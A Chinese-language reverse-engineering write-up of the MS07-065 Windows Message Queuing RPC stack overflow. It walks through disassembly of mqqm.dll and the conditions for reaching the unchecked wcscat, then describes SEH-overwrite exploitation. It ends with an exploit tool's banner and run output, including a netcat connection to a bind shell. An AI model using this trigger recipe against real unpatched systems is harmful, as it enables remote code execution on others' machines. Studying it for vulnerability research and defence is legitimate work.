导读:
漏洞是在UUID fdb3a030-065f-11d1-bb9b-00a024ea5525 的第6个调用引起的。最终通过一个 wcscat()的拷贝造成一个栈溢出.
查找了一下关于这个接口的一些定义
http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_msmq.html
The Message Queuing service (msmq) runs RPC services, listening on the
ncacn_ip_tcptransport. By default, the msmq services opens 4 TCP ports [81], including one or several of 2101/tcp, 2103/tcp, 2105/tcp and 2107/tcp.
The
mqqm.dll(Windows NT MQ Queue Manager) DLL, loaded in the
mqsvc.exeprocess, contains the following RPC services:
fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0
76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0
1088a980-eae5-11d0-8d9b-00a02453c337 v1.0
5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0
41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0
Table 4.49. qmcomm operations
Interface
Operation number
Operation name
fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0: qmcomm
0x00 QMOpenQueue
0x01 QMGetRemoteQueueName
0x02 QMOpenRemoteQueue
0x03 QMCloseRemoteQueueContext
0x04 QMCreateRemoteCursor
0x05 QMSendMessageInternal
0x06 QMCreateObjectInternal
。。。。。。
事实上,这个服务运行在2101、2103、2105、2107端口,根据我后来的结果可以看到,这些端口都能够直接溢出
这个漏洞被微软标记为important,因为在2003偷偷修复了,在xp和2000 professional版本上,这个漏洞利用时候需要验证用户密码,只有在2000 server上,才能够无须身份验证的触发溢出。
Windows默认是没有装这个服务的,要安装这个服务可以在添加删除程序里,选择添加windows组件。
如果是英文版的系统,那么这里可能叫做 Message Queuing
安装完之后,可以通过 net start msmq 来启动服务。
服务的进程是 mqsvc.exe, 而服务是在 mqqm.dll 中,所以我们可以反汇编这个dll文件
用IDA反汇编mqqm.dll后,用mida插件逆向出RPC调用
导出IDL文件后,可以看到函数结构如下:3
/* opcode: 0x06, address: 0x613B5F03 */
long _QMCreateObjectInternal (
[in] long arg_1,
[in][string] wchar_t * arg_2,
[in][range(0,524288)] long arg_3,
[in][unique][size_is(arg_3)] char * arg_4,
[in][range(1,128)] long arg_5,
[in][size_is(arg_5)] long arg_6[],
[in][size_is(arg_5)] struct struct_4 arg_7[]
);
这个函数结构暂时先不管他,也可以自己重新构造了一个IDL文件.
通过IDA看 _QMCreateObjectInternal 函数,没过多久就看出了问题所在
在 QMCreatePrivateQueue 中的 ReplaceDNSNameWithNetBiosName 中,没有对输入进行充分检查,wcscat()导致了一个栈溢出。
int __cdecl ReplaceDNSNameWithNetBiosName(wchar_t *Str, wchar_t *Dest)
ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z proc near
Str= dword ptr 4
Dest= dword ptr 8
push esi
push 5Ch ;Ch
push [esp+8+Str] ;Str
call ds:__imp__wcschr
pop ecx
mov esi, eax
pop ecx
push ?g_szMachineName@@3PAGA ;Source
push [esp+8+Dest] ;Dest
call ds:__imp__wcscpy
pop ecx
pop ecx
push esi ;Source
push [esp+8+Dest] ;Dest
call ds:__imp__wcscat // 溢出
pop ecx
pop ecx
pop esi
retn
ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z endp
伪代码:
wchar_t *__cdecl ReplaceDNSNameWithNetBiosName(wchar_t *Str, wchar_t *Dest)
{
wchar_t *v3; // esi@1
v3 = _wcschr(Str, 0x5Cu);
_wcscpy(Dest, g_szMachineName);
return _wcscat(Dest, v3);
}
这里我们后面再回过头来看。
那么,函数调用是这样的:
_QMCreateObjectInternal
|---------------QMCreatePrivateQueue
|-------------------ReplaceDNSNameWithNetBiosName
_QMCreateObjectInternal的伪代码为:
signed int __thiscall QMCreateObjectInternal(struct _RTL_CRITICAL_SECTION *this, RPC_BINDING_HANDLE Binding, unsigned int Type, wchar_t *Str, int a5, int a6, int a7, int a8, int a9)
{
__int32 v10; // edi@6
__int32 v11; // eax@7
int v12; // ST18_4@9
struct _RTL_CRITICAL_SECTION *v13; // [sp+4h] [bp-10h]@1
int v14; // [sp+10h] [bp-4h]@4
v13 = this;
if ( a5 &&!a6 )
{
LogMsgHR(-1072824314, off_6B27271C, 0x125u);
return -1072824314;
}
v13 = &qmcmd_cs;
EnterCriticalSection(&qmcmd_cs);
v14 = 0;
if ( Type == 1 )
{
v12 = 1;
goto LABEL_14;
}
if ( Type == 2 )
{
Type = 0;
v11 = I_RpcBindingInqTransportType(Binding, &Type);
if ( v11 )
goto LABEL_20;
if ( Type == 4 )
{
v12 = 0;
LABEL_14:
v10 = CQPrivate__QMCreatePrivateQueue(Str, a5, a6, a7, a8, a9, v12);
goto LABEL_15;
}
if ( v11 )
LABEL_20:
LogMsgRPCStatus(v11, off_6B27271C, 0x28u);
LeaveCriticalSection(&qmcmd_cs);
return -1072824283;
}
v10 = -1072824319;
LABEL_15:
if ( v10 <0 )
LogMsgHR(v10, off_6B27271C, 0x32u);
LeaveCriticalSection(&qmcmd_cs);
return v10;
}
============= 这是华丽的分割线 ================
首先要调用到 QMCreatePrivateQueue .
我们看到以下是依次是 _QMCreateObjectInternal的六个参数
Type= dword ptr 0Ch
Str= dword ptr 10h
arg_C= dword ptr 14h
arg_10= dword ptr 18h
arg_14= dword ptr 1Ch
arg_18= dword ptr 20h
arg_1C= dword ptr 24h
看以下代码片段
loc_6B22555B: ;CCriticalSection qmcmd_cs
mov esi, offset ?qmcmd_cs@@3VCCriticalSection@@A
push esi ;lpCriticalSection
mov [ebp+var_10], esi
call ds:__imp__EnterCriticalSection@4 ;EnterCriticalSection(x)
mov eax, [ebp+Type]
mov [ebp+var_4], ebx
dec eax
jz short loc_6B2255C1
在代码中,如果eax为1,dec eax后条件为真,会跳转到QMCreatePrivateQueue 去执行
而eax是由mov eax, [ebp+Type]传入的
所以要让流程走到QMCreatePrivateQueue
_QMCreateObjectInternal的第一个参数必须是为0x00000001
以下是 QMCreatePrivateQueue的调用
loc_6B2255C3: ;int
push [ebp+arg_1C]
mov ecx, offset ?g_QPrivate@@3VCQPrivate@@A ;CQPrivate g_QPrivate
push [ebp+arg_18] ;int
push [ebp+arg_14] ;int
push [ebp+arg_10] ;int
push [ebp+arg_C] ;int
push [ebp+Str] ;Str
call ?QMCreatePrivateQueue@CQPrivate@@QAEJPBGKPAXKQAKQAUtagPROPVARIANT@@H@Z ;CQPrivate::QMCreatePrivateQueue(ushort const *,ulong,void *,ulong,ulong * const,tagPROPVARIANT * const,int)
实际上,我们在后面可以看到,漏洞是由于QMCreatePrivateQueue的第一个参数,也就是_QMCreateObjectInternal的第二个参数所造成的。
进入QMCreatePrivateQueue 之后,我们要调用到 ReplaceDNSNameWithNetBiosName.
以下是代码片段
.text:6B2178A9 mov eax, offset sub_6B25BE64
.text:6B2178AE call __EH_prolog
.text:6B2178B3 sub esp, 138h
.text:6B2178B9 push ebx
.text:6B2178BA push esi
.text:6B2178BB mov esi, [ebp+8]
.text:6B2178BE lea eax, [ebp-1Ch]
.text:6B2178C1 push edi
.text:6B2178C2 push eax ;int
.text:6B2178C3 mov [ebp-18h], ecx
.text:6B2178C6 push esi ;Source
.text:6B2178C7 call ?IsPathnameForLocalMachine@@YAHPBGPAH@Z ;IsPathnameForLocalMachine(ushort const *,int *)
.text:6B2178CC xor ebx, ebx ;ebx 清0
.text:6B2178CE pop ecx
.text:6B2178CF cmp eax, ebx ;比较ispath函数的返回值
.text:6B2178D1 pop ecx
.text:6B2178D2 jnz short loc_6B2178EC ;这里有个判断
.text:6B2178EC cmp [ebp-1Ch], ebx ;这里有个判断
.text:6B2178EF jz short loc_6B217906
.text:6B2178F1 lea eax, [ebp-144h] ;在栈上
.text:6B2178F7 push eax ;Dest
.text:6B2178F8 push esi ;Str 我们传入的参数
.text:6B2178F9 call ?ReplaceDNSNameWithNetBiosName@@YAXPBGPAG@Z ;ReplaceDNSNameWithNetBiosName(ushort const *,ushort *)
========== 这是聪明的分割线 ============
要走到 ReplaceDNSNameWithNetBiosName ,就需要先绕过 IsPathnameForLocalMachine 这个函数。 我在绕过这个函数上走了很多弯路,花了许多功夫。
看看IsPathnameForLocalMachine函数:
中间分析过程很多,这里我就拿重要的说
mov eax, offset sub_6B25D54C
call __EH_prolog
sub esp, 204h
push ebx
push esi
lea eax, [ebp+String1]
push edi
push eax ;Dest
push [ebp+Source] ;Source
call ?ExtractMachineName@@YAXPBGPAG@Z ;ExtractMachineName(ushort const *,ushort *)
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov esi, ds:__imp__CompareStringW@24 ;CompareStringW(x,x,x,x,x,x)
and dword ptr [eax], 0
push 0FFFFFFFFh ;cchCount2
push ?g_szMachineName@@3PAGA ;lpString2
lea eax, [ebp+String1]
mov edi, 800h
push 0FFFFFFFFh ;cchCount1
push eax ;lpString1
push 1 ;dwCmpFlags
push edi ;Locale
call esi ;CompareStringW(x,x,x,x,x,x) ;CompareStringW(x,x,x,x,x,x)
dec eax
dec eax
jnz short loc_6B2344E9
ExtractMachineName(ushort const *,ushort *) 这个函数把/x5c 就是斜杠前的名字,就是机器名拷贝到某处,所以我们的传入参数里要有斜杠。
然后CompareStringW(x,x,x,x,x,x) 函数,把我们传入的斜杠前的那部分和 机器名比较,这里机器名是通过
push ?g_szMachineName@@3PAGA ;lpString2
取得的,所以是一个定值。
对比完后,我们要让返回值不能为2,因为要跳转到下面的地方:
loc_6B2344E9:
lea eax, [ebp+String1]
push 2Eh ;Ch
push eax ;Str
call ds:__imp__wcschr
pop ecx
test eax, eax
pop ecx
jz loc_6B2345DD
这里会把刚才斜杠前的那部分拿来比较,看中间有没有点,我们要让跳转条件非真,所以我们的传入参数中要带一个“.” 就是/x2e
然后我们控制流程来到
push ?g_szMachineName@@3PAGA ;Str
mov ebx, ds:__imp__wcslen
call ebx ;__imp__wcslen
pop ecx
push eax ;cchCount2
mov eax, ?g_szMachineName@@3PAGA ;ushort * g_szMachineName
push eax ;lpString2
push eax ;Str
call ebx ;__imp__wcslen
pop ecx
push eax ;cchCount1
lea eax, [ebp+String1]
push eax ;lpString1
push 1 ;dwCmpFlags
push edi ;Locale
call esi ;CompareStringW(x,x,x,x,x,x) ;CompareStringW(x,x,x,x,x,x)
dec eax
dec eax
jnz loc_6B2345DD
这里再次把机器名和我们传入的参数比较了一次, 这时候要让跳转条件不成立
流程继续走到
.text:6B234531 push ?g_szMachineName@@3PAGA ;Str
.text:6B234537 call ebx ;__imp__wcslen
.text:6B234539 cmp [ebp+eax*2+String1], 2Eh
.text:6B234542 pop ecx
.text:6B234543 jnz loc_6B2345DD
.text:6B234549 mov eax, ?g_szComputerDnsName@@3V?$AP@G@@A ;AP .text:6B23454E test eax, eax
.text:6B234550 jz short loc_6B234570
.text:6B234552 lea ecx, [ebp+String1]
.text:6B234558 push ecx ;Str2
.text:6B234559 push eax ;Str1
.text:6B23455A call ds:__imp___wcsicmp ;比较字符串
.text:6B234560 pop ecx
.text:6B234561 test eax, eax
.text:6B234563 pop ecx
.text:6B234564 jnz short loc_6B234570 ;这里不能跳转
.text:6B234566 mov ecx, [ebp+arg_4]
.text:6B234569 push 1
.text:6B23456B pop eax
.text:6B23456C mov [ecx], eax
.text:6B23456E jmp short loc_6B2345DF
注意这里
mov eax, ?g_szComputerDnsName@@3V?$AP@G@@A ;AP g_szComputerDnsName
test eax, eax
jz short loc_6B234570
这个dns name是从机器中取的
.text:6B234552 lea ecx, [ebp+String1]
.text:6B234558 push ecx ;Str2
.text:6B234559 push eax ;Str1
.text:6B23455A call ds:__imp___wcsicmp
然后马上比较两个串是否相同。
根据我们的流程需要,最后要走到
mov ecx, [ebp+arg_4]
push 1
pop eax
mov [ecx], eax
jmp short loc_6B2345DF
然后这个天杀的 IsPathnameForLocalMachine 就总算返回为真了,而且我们同时绕过了以下两处的判断:
.text:6B2178CF cmp eax, ebx ;比较ispath函数的返回值
.text:6B2178D1 pop ecx
.text:6B2178D2 jnz short loc_6B2178EC ;这里有个判断
.text:6B2178EC cmp [ebp-1Ch], ebx ;这里有个判断
.text:6B2178EF jz short loc_6B217906
从而让函数流程顺利的执行到了 ReplaceDNSNameWithNetBiosName
小结下绕过 IsPathnameForLocalMachine 的条件:
1. 要发送个 目标机器的dnsname 加上 一个斜杠 /
2. 要是unicode字符串发送dnsname
实际上从 ReplaceDNSNameWithNetBiosName 这个函数的名字也可以看出来,是要把DNS name替换为 机器名。
同时也可以看出来这个漏洞的利用条件: 需要知道目标机器的dnsname。
一般如果机器在域里面,那就是域后缀。
如下图:
我的机器名是: a-dda41398f44f4
DNS后缀是: .fuck
注意这个“.”很重要,在触发条件中是一定要的。
========= 这是要抓狂的分割线 =================
现在回过头来看 ReplaceDNSNameWithNetBiosName 的代码:
push esi
push 5Ch ;Ch
push [esp+8+Str] ;Str
call ds:__imp__wcschr
pop ecx
mov esi, eax
pop ecx
push ?g_szMachineName@@3PAGA ;Source
push [esp+8+Dest] ;Dest
call ds:__imp__wcscpy
pop ecx
pop ecx
push esi ;Source
push [esp+8+Dest] ;Dest
call ds:__imp__wcscat
就是把 / 后面的字符串,wcscat到 机器名后面, 而这个拷贝发生在栈上,没有做长度检查,发生了栈溢出。
最后我使用覆盖seh 的方法利用成功发送超过2000 bytes字节的stub,保证覆盖到栈底触发异常,然后call ebx执行shellcode
下面是一个装B的exploit,只适用于我的机器(机器名是a-dda41398f44f4 , dns 后缀是.fuck ),如果你要修改,需要考虑到机器名的不同带来的影响,要重新计算payload长度值. 为啥说这是装B的exploit呢,因为明明有更清晰的exploit写法我不写,要写个可以忽悠很多人的。所以说大家要是以前看到过这种exploit写法又看不懂,那不要灰心,那个人只是和我一样在装B而已!
Exploit运行效果:
Shellcode 使用exitthread退出线程,则可以反复溢出,如果使用seh退出,则会反复执行你的shellcode
======== 这是装B的分割线 ===============
/*
Windows Message Queuing Service Remote RPC BOF Exploit (MS07-065)
by axis
http://www.ph4nt0m.org
you should know the dnsname of target to trigger this vuln
the service runs on port 2103/2105/2107
D:/soft/develop/MyProjects/temp/Debug>temp.exe -h 192.168.152.100 -p 2103
--------------------------------------------------------------------------
-== Windows Message Queuing Service Remote RPC BOF Exploit (MS07-065) ==-
-== code by axis@ph4nt0m ==-
-== Http://www.ph4nt0m.org ==-
-== Tested against Windows 2000 server SP4 ==-
--------------------------------------------------------------------------
[+] Attacking default port 2103
[*]Sending our Payload, Good Luck! ^_^
[*]Sending RPC Bind String!
[*]Sending RPC Request Now!
D:/soft/develop/MyProjects/temp/Debug>
D:/>nc -vv -n 192.168.152.100 1154
(UNKNOWN) [192.168.152.100] 1154 (?) open: unknown socket error
Microsoft Windows 2000 [Version 5.00.2195]